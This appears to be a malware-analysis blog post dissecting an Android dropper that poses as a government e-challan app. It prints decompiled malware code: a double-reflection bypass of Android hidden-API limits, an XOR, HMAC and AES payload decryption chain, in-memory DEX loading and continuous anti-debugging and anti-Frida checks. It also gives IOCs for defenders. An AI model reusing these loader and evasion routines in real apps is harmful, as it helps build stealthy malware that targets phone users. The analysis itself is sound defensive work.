The Spam SMS that turned into a rabbit hole
I was supposed to be building an Android app, ended up taking one apart
.apk file, do not open it. This is an active malware campaign as of June 2026 impersonating the Ministry of Road Transport and Highways (MoRTH). Report on cybercrime.gov.inIntroduction
Yesterday, I got an SMS which I almost ignored; Jio had flagged it as spam. It claimed to be from the Ministry of Road Transport and Highways, warning me that my vehicle had an outstanding challan, with a link to "check and download" it. Classic urgency bait.
I was supposed to work on Beacon, my own Android app. Instead, when I got back to my workbench today, curiosity got the better of me. I opened the link, and it dropped an APK! I'll be honest, I was kind of excited. I'd been wanting to get my hands on live malware for a while, and here it was, delivered straight to my phone.
What I expected to be a quick five-minute triage turned into a full day of rabbit holes, my first real-world malware analysis, and now a blog post.
The Part 1 of this writeup covers the dropper/loader, while the 2nd part will be about the embedded payload.
For this analysis, I used jadx, MobSF and some custom python scripts to make life easier.
Let's get into it!
Part 1/n
Triage
Following awesome cybersecurity content creators like John Hammond on YouTube and watching many of their malware analysis videos, I decided to go the proper way and start with a triage of the APK file. Here's what I gathered:
The name of the APK file was
ca8818e7_RT0-eChallan.apkThe SHA-256 hash is
364983d2dbff85f4b9b2bac2beba40ad29ac85f2a16bdbc8fd65896ef03cddb2
Looking the SHA-256 hash on VirusTotal confirmed my suspicion. It had 8/58 vendors reporting it as malicious, and it was labelled as a Trojan, dropper and banker.
- The package name
com.uptodown.installerwas an attempt at impersonatinguptodown.com, a legitimate APK store.
I then ran the APK through the MobSF instance on my machine, and the Government of India emblem and the name of the app Rto Echallan was another layer of impersonation which would be seen by the user. Even before starting the analysis, the package name was a red flag, since genuine government apps would use in.gov.* or similar official namespaces.
MobSF gave a security score of 26/100, and reported 0/432 trackers detected.
Automated Analysis: MobSF
MobSF is "a security research platform for mobile applications in Android, iOS and Windows Mobile. MobSF can be used for a variety of use cases such as mobile application security, penetration testing, malware analysis, and privacy analysis."
It performs quite a lot of the initial analysis usually done fast, and shows the results in a beautiful UI.
Out of all the things which MobSF showed, the permissions section is what stood out the most to me. The following table shows the suspicious permissions and a brief explanation of why it raised alarms for me.
| Permission | Why it's suspicious |
|---|---|
READ_EXTERNAL_STORAGE |
Exfiltrate files from the device |
REQUEST_INSTALL_PACKAGES |
Silently install additional APKs/payloads |
RECEIVE_BOOT_COMPLETED |
Persistence: survives device reboot |
FOREGROUND_SERVICE |
Run silently in background without user seeing it |
SCHEDULE_EXACT_ALARM |
Time precise background operations |
SET_WALLPAPER |
Low signal alone, but part of a broader spyware pattern |
While these permissions in themselves are used often by benign apps, all of them coming together is something to be cautious about.
Along with the permissions, the decompiled source code of the app also included SAI (Split APK Installer), which is used to install APKs onto devices. This strengthened the hypotheses that the app is a dropper, which would be used to install more malicious packages.
Static Analysis
Opening the file in JADX
- Opening the file in JADX revealed an important detail: the sources for the APK had both the code for
com.aefyr.saiandcom.wave, with the latter containing files with seemingly random names.
Looking through the files, I noticed that there was very little source code visible, which meant it wasn't a very heavily-featured app and that most logic was hidden.
Which meant I now had to uncover it.
String Obfuscation: XOR cipher
The i1qiwvd function shown in the screenshot is a classic XOR Cipher. It takes a byte array, and an integer key as parameters, XORs them byte by byte and return the result in the form of a string. This pattern is commonly used throughout the codebase to hide strings from static analyzers.
I used the following Python script to decode the data wherever need be
def decrypt_string_xor(byte_array, xor_key):
decrypted = bytearray()
for b in byte_array:
# Java bytes are unsigned while Python bytes are signed
# Normalize the byte to be in the range of 0-255
if b < 0:
b += 256
decrypted.append(b ^ xor_key)
return decrypted.decode("utf-8", errors="ignore")
After this, I renamed the function in JADX so the logic became more readable.
Bypassing Android's Hidden API Restriction
As I began inspecting the source code, I noticed a long body for the attachBaseContext() method. This method is often used by malware authors since it runs before the application even launches, and as the name suggests, acts as the base context for the actual package.
The attachBaseContext function included a call to the oufbd() method, which upon inspection led to an interesting observation. Here is the cleaned up code of the method
public static void oufbd() {
if (Build.VERSION.SDK_INT < 28) {
// If Android Version is less than 9, return
return;
}
try {
Method forName = Class.class.getDeclaredMethod(
"forName",
String.class
);
Method getDeclaredMethod = Class.class.getDeclaredMethod(
"getDeclaredMethod",
String.class,
Class[].class
);
Class cls = (Class) forName.invoke(
null,
"dalvik.system.VMRuntime"
);
(
(Method) getDeclaredMethod.invoke(
cls,
"setHiddenApiExemptions",
new Class[] { String[].class }
)
).invoke(
(
(Method) getDeclaredMethod.invoke(cls, "getRuntime", null)
).invoke(null, new Object[0]),
"L"
);
} catch (Throwable th) {}
}
This block of code tries to achieve access to blocked internal Android APIs using a technique called Reflection. Google, since Android 9 has blocked apps from directly accessing these critical methods, and trying to invoke them results in the app being terminated along with a SecurityException. To get past this, as well as static analyzers which look out for calls to these functions, the APK uses Double Reflection to call the function VMRuntime.setHiddenApiExemptions("L"), which disables all the security measures related to the hidden Android APIs.
The "L", in Dalvik bytecode is the prefix for all Java class references, hence the above function call allowlists all methods to be called.
Another benefit of this is that since the decryption of the class and methods names do not happen until runtime, call-graph analyzers also fail to properly map the API usage.
The Payload Decryption Chain
Looking at the next function being called, it is seen that the file r_4dfb.bin is extracted from the APKs assets. It is passed into a interestingly designed function, which seems to decrypt a given input in multiple ways, depending on an integer variable passed to it in the function call. I call this function the multiplexedPayloadDecryptor
Since the function call in the current step used the opCode 0, I only investigated that branch to find that it was again, a repeating XOR cipher, which takes a byte array of ciphertext and key, and returns the plaintext.
Analyzing the function call, the ciphertext in this case was the file in the assets, the key was being returned by a constant value return function. The other branches will be analyzed in the upcoming parts if need be.
I wrote a python script to emulate the behavior on the file I had extracted from the APKs assets and from the constant key which I found embedded in the code.
def decrypt_payload():
xor_java_key = [
108,
41,
58,
17,
-66,
107,
-18,
80,
127,
9,
-123,
127,
101,
-41,
23,
108,
]
xor_key = [b + 256 if b < 0 else b for b in xor_java_key]
target_file = "r_4dfb.bin"
output_file = "decrypted_payload.bin"
with open(target_file, "rb") as f:
encrypted_data = f.read()
decrypted_data = bytearray()
key_length = len(xor_key)
for i, byte in enumerate(encrypted_data):
decrypted_data.append(byte ^ xor_key[i % key_length])
with open(output_file, "wb") as f:
f.write(decrypted_data)
if __name__ == "__main__":
decrypt_payload()
print("Decryption complete. Decrypted payload saved to 'decrypted_payload.bin'.")
I was very excited to see the result of my work so far, so I ran the file command on the output, to be disappointed at the sight of
litmus in ~/CTFs/MalwareAnalysis λ file decrypted_payload.bin
decrypted_payload.bin: data
Looks like the malware author had more tricks up their sleeve. Back to analysis
The awesome crypto
The malware author has gone great lengths to ensure that the payload in the assets was not tampered with. So much so that they implemented a HMAC-SHA256 keyed signature.
// Concatenates the byte array with hardcoded string "dg_hmac_v2" and computes the SHA-256 hash
private static byte[] computeCustomHMAC(byte[] bArr) throws Exception {
MessageDigest messageDigest = MessageDigest.getInstance("SHA-256");
messageDigest.update(bArr);
messageDigest.update("dg_hmac_v2".getBytes("UTF-8"));
return messageDigest.digest();
}
public static boolean validateHMACSignature(byte[] keyMaterial, byte[] targetPayload, byte[] expectedMACTag) {
try {
byte[] derievedKey = computeCustomHMAC(keyMaterial);
String HmacSHA256 = "HmacSHA256";
Class<?> JavaCryptoMAC = Class.forName("javax.crypto.Mac");
Object objInvoke = JavaCryptoMAC.getMethod("getInstance", String.class).invoke(null, HmacSHA256);
JavaCryptoMAC.getMethod("init", Key.class).invoke(objInvoke, Class.forName("javax.crypto.spec.SecretKeySpec").getConstructor(byte[].class, String.class).newInstance(derievedKey, HmacSHA256));
return MessageDigest.isEqual((byte[]) JavaCryptoMAC.getMethod("doFinal").invoke(objInvoke, targetPayload), expectedMACTag);
} catch (Throwable th) {
return false;
}
}
public static byte[] doAESCBCDecryption(byte[] bArr, byte[] bArr2, byte[] bArr3) throws Exception {
Class<?> javaCryptoCipher = Class.forName("javax.crypto.Cipher");
Object objInvoke = javaCryptoCipher.getMethod("getInstance", String.class).invoke(null, "AES/CBC/PKCS5Padding");
javaCryptoCipher.getMethod("init", Integer.TYPE, Key.class, AlgorithmParameterSpec.class).invoke(objInvoke, Integer.valueOf(javaCryptoCipher.getField("DECRYPT_MODE").getInt(null)), Class.forName("javax.crypto.spec.SecretKeySpec").getConstructor(byte[].class, String.class).newInstance(bArr, "AES"), Class.forName("javax.crypto.spec.IvParameterSpec").getConstructor(byte[].class).newInstance(bArr2));
return (byte[]) javaCryptoCipher.getMethod("doFinal", byte[].class).invoke(objInvoke, bArr3);
}
public static boolean isValidMultiDexContainer(byte[] data) {
int dexCount;
int dexSize;
if (data == null || data.length < 8 || (dexCount = bytesToIntLittleEndian(data, 0)) <= 0 || dexCount > 100) {
return false;
}
int offset = 4;
for (int dexIndex = 0; dexIndex < dexCount; dexIndex++) {
int payloadOffset = offset + 4;
// The following checks if the first byte values are dex\n which is the magic byte sequence for DEX file headers
if (payloadOffset > data.length || (dexSize = bytesToIntLittleEndian(data, offset)) <= 0 || dexSize > data.length - payloadOffset || data[payloadOffset] != 100 || data[payloadOffset + 1] != 101 || data[payloadOffset + 2] != 120 || data[payloadOffset + 3] != 10) {
return false;
}
offset = dexSize + payloadOffset;
}
return true;
}
public static byte[] authenticateAndDecryptPayload(byte[] encapsulatedPayload, byte[] hmacSeedKey, byte[] decryptionIV) throws Exception {
if (encapsulatedPayload.length < 33) {
throw new RuntimeException("p<33");
}
byte[] expectedSignature = Arrays.copyOfRange(encapsulatedPayload, 0, 32);
byte[] targetPayload = Arrays.copyOfRange(encapsulatedPayload, 32, encapsulatedPayload.length);
if (!validateHMACSignature(hmacSeedKey, targetPayload, expectedSignature)) {
throw new RuntimeException(stringDecryptXOR(new byte[]{35, 61}, 75));
}
byte[] decryptedPayload = doAESCBCDecryption(hmacSeedKey, decryptionIV, targetPayload);
if (!isValidMultiDexContainer(decryptedPayload)) {
throw new RuntimeException(stringDecryptXOR(new byte[]{42, 63}, 73));
}
return decryptedPayload;
}
Phew, that's a pretty long verification and decryption routine. Let me break it down for easier understanding:
First, the length of the payload is checked. It is expected to be a minimum of 33 characters, since the first 32 characters are later utilized as the expected HMAC-SHA256 signature, and atleast a single byte of encrypted payload must follow.
The first 32 bytes are copied into a chunk, and the rest of the byte array is the encrypted payload. There are passed to a function along with a hardcoded
hmacSeedKey[]to check the integrity of the embedded payload.Following the integrity check, the function then calls another function which decrypts the encrypted payload using the
hmacSeedKey, a hardcodeddecryptionIVin AES-CBC mode and stores the decrypted content in another byte array.Finally, a helper function is used to check the decrypted payload for the presence of multiple DEX containers, which will later be loaded into memory.
It is also interesting to note that the malware author used Reflection for the Crypto APIs usage, since their prescence in a normal app is very likely to raise red flags.
The Multi-DEX container format
The decrypted payload, atleast from the code that follows doesn't seem to look like a standard APK or DEX file, instead the author seems to have created a custom container. The container uses Little endian Int32 for the dexCount (max 100), followed by sequential dexSize + dexBlob pairs.
Furthermore, the isValidMultiDexContainer function is validates each of the DEX files agains the dex\n magic bytes (100, 101, 120, 10). This shows the droppers capability to inject multiple DEX files into the hosts memory.
public static void loadPayload(Context context, byte[] AESDecryptedPayload) throws Throwable {
byte[][] payloads = unpackMultiplexedContainer(AESDecryptedPayload);
ClassLoader classLoader = context.getClassLoader();
// If greater than Android 8, the payload is executed.
if (Build.VERSION.SDK_INT >= 26) {
try {
if (injectDexPayloads(context, payloads, classLoader)) {
return;
}
} catch (Throwable th) {
}
}
// Potentially methods for older versions (Android <8). Not analyzed yet. Redacted for brevity
}
The loadPayload method uses Classloader manipulation to inject the Dex payloads for Android 8+. There seems to be more code as fallback for older versions, but I haven't analyzed it yet.
Anti-Analysis: Emulator and Environment detection
The malware authors F36n670g class is full of methods to detect analysis measures which checks things like if a debugger is connected, if Xposed is installed, if the Frida server port is listening, whether the application is being traced and if any hooking framework is loaded.
public static boolean passesAntiAnalysisChecks() {
try {
int detectionCount = isDebuggerConnected() ? 1 : 0;
if (hasXposedInstalled()) {
detectionCount++;
}
if (isFridaPresent()) {
detectionCount++;
}
if (isBeingTraced()) {
detectionCount++;
}
if (hasHookingFrameworkLoaded()) {
detectionCount++;
}
if (detectionCount <= 0) {
return true;
}
killSelf();
return false;
} catch (Throwable th) {
return true;
}
}
Interesting, the passesAntiAnalysisChecks function uses a detection score to determine whether or not to quit execution instead of a direct binary check. The reason behind this remains a mystery.
Furthermore, since analysts may attach debuggers and start monitoring the process after this check is done, the malware author went out of their way and added the following code to the attachBaseContext function
// Create a daemon thread which keeps checking for analysis vectors even after
// DEX files are loaded
Thread thread = new Thread(new continuosAntiAnalysisChecks());
thread.setDaemon(true);
thread.start();
public class continuosAntiAnalysisChecks implements Runnable {
@Override // java.lang.Runnable
public void run() {
int i = 0;
while (!Thread.currentThread().isInterrupted()) {
try {
try {
F36n670g.passesAntiAnalysisChecks();
} catch (Throwable th) {
}
try {
Thread.sleep(((long) (Math.random() * 4000.0d)) + 3000);
i = 0;
} catch (Throwable th2) {
i = 1;
if (i > 5) {
F36n670g.killSelf();
}
try {
Thread.sleep(5000L);
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
return;
}
}
} catch (InterruptedException e2) {
Thread.currentThread().interrupt();
return;
}
}
}
}
The daemon thread keeps checking every 3-7 seconds (randomized to avoid timing detection) if the process is being watched. This is why dynamic analysis with Frida is going to be diffucult without patching these checks first.
Putting it all together
After all the analysis, here is the much more readable, annotated attachBaseContext function
@Override // android.content.ContextWrapper
protected void attachBaseContext(Context context) {
final Thread.UncaughtExceptionHandler defaultUncaughtExceptionHandler = Thread.getDefaultUncaughtExceptionHandler();
// Supress crash logging, hides errors from detection systems
Thread.setDefaultUncaughtExceptionHandler(new Thread.UncaughtExceptionHandler() { // from class: com.wave.Validatorql.1
@Override // java.lang.Thread.UncaughtExceptionHandler
public void uncaughtException(Thread thread, Throwable th) {
if (defaultUncaughtExceptionHandler != null) {
defaultUncaughtExceptionHandler.uncaughtException(thread, th);
}
}
});
super.attachBaseContext(context);
try {
// Bypass Android 9+ hidden API restrictions
Pp5rf.bypassAPIRestrictions();
// Extract and XOR-decrypt the r_4dfb.bin file from assets.
byte[] decryptedBINFile = Vmfoa.multiplexedPayloadDecryptor(Vmfoa.extractAssetPayload(context, "r_4dfb.bin"), ObfuscatedByteArrays.getPayloadXORKey(), 0);
if (decryptedBINFile == null || decryptedBINFile.length == 0) {
throw new RuntimeException("e");
}
byte[] hmacSeedKey = ObfuscatedByteArrays.getHMACSeedKey();
byte[] decryptionIV = ObfuscatedByteArrays.getDecryptionIV();
// HMAC-SHA256 integrity check + AES-CBC decrypt the payload
byte[] AESDecryptedBINFile = Engineja.authenticateAndDecryptPayload(decryptedBINFile, hmacSeedKey, decryptionIV);
// Zeroize key material from memory
Engineja.zeroizeArrays(hmacSeedKey, decryptionIV);
// Load the DEX files into memory
Iwl89m.loadPayload(context, AESDecryptedBINFile);
try {
// No-op
Iwl89m.kjg046(context);
} catch (Throwable th) {
}
Thread.currentThread().setContextClassLoader(context.getClassLoader());
try {
Class.forName("androidx.startup.InitializationProvider", false, context.getClassLoader());
} catch (Throwable th2) {
}
try {
// Check for debuggers, Frida etc.
F36n670g.passesAntiAnalysisChecks();
} catch (Throwable th3) {
}
// Create a daemon thread which keeps checking for analysis vectors even after
// DEX files are loaded
Thread thread = new Thread(new continuosAntiAnalysisChecks());
thread.setDaemon(true);
thread.start();
} catch (Throwable th4) {
throw new RuntimeException(th4);
}
}
The DEX files should now be loaded in memory and running, but what do they do? That's what I am going to dig into today, and will report back with a part 2 soon!
IOCs for defenders
APK filename: ca8818e7_RT0-eChallan.apk
Package name: com.uptodown.installer
SHA256: 364983d2dbff85f4b9b2bac2beba40ad29ac85f2a16bdbc8fd65896ef03cddb2
Asset file: r_4dfb.bin (encrypted multi-DEX container)
HMAC salt: dg_hmac_v2
Encryption: AES/CBC/PKCS5Padding
HMAC seed key bytes: [123, 106, 39, -27, 58, 25, -76, 112, -101, -85, 64, -79, 125, -6, -123, -81, 39, -45, -114, -55, -39, 86, -42, 126, -70, -35, -82, 105, 65, -104, -88, -84]



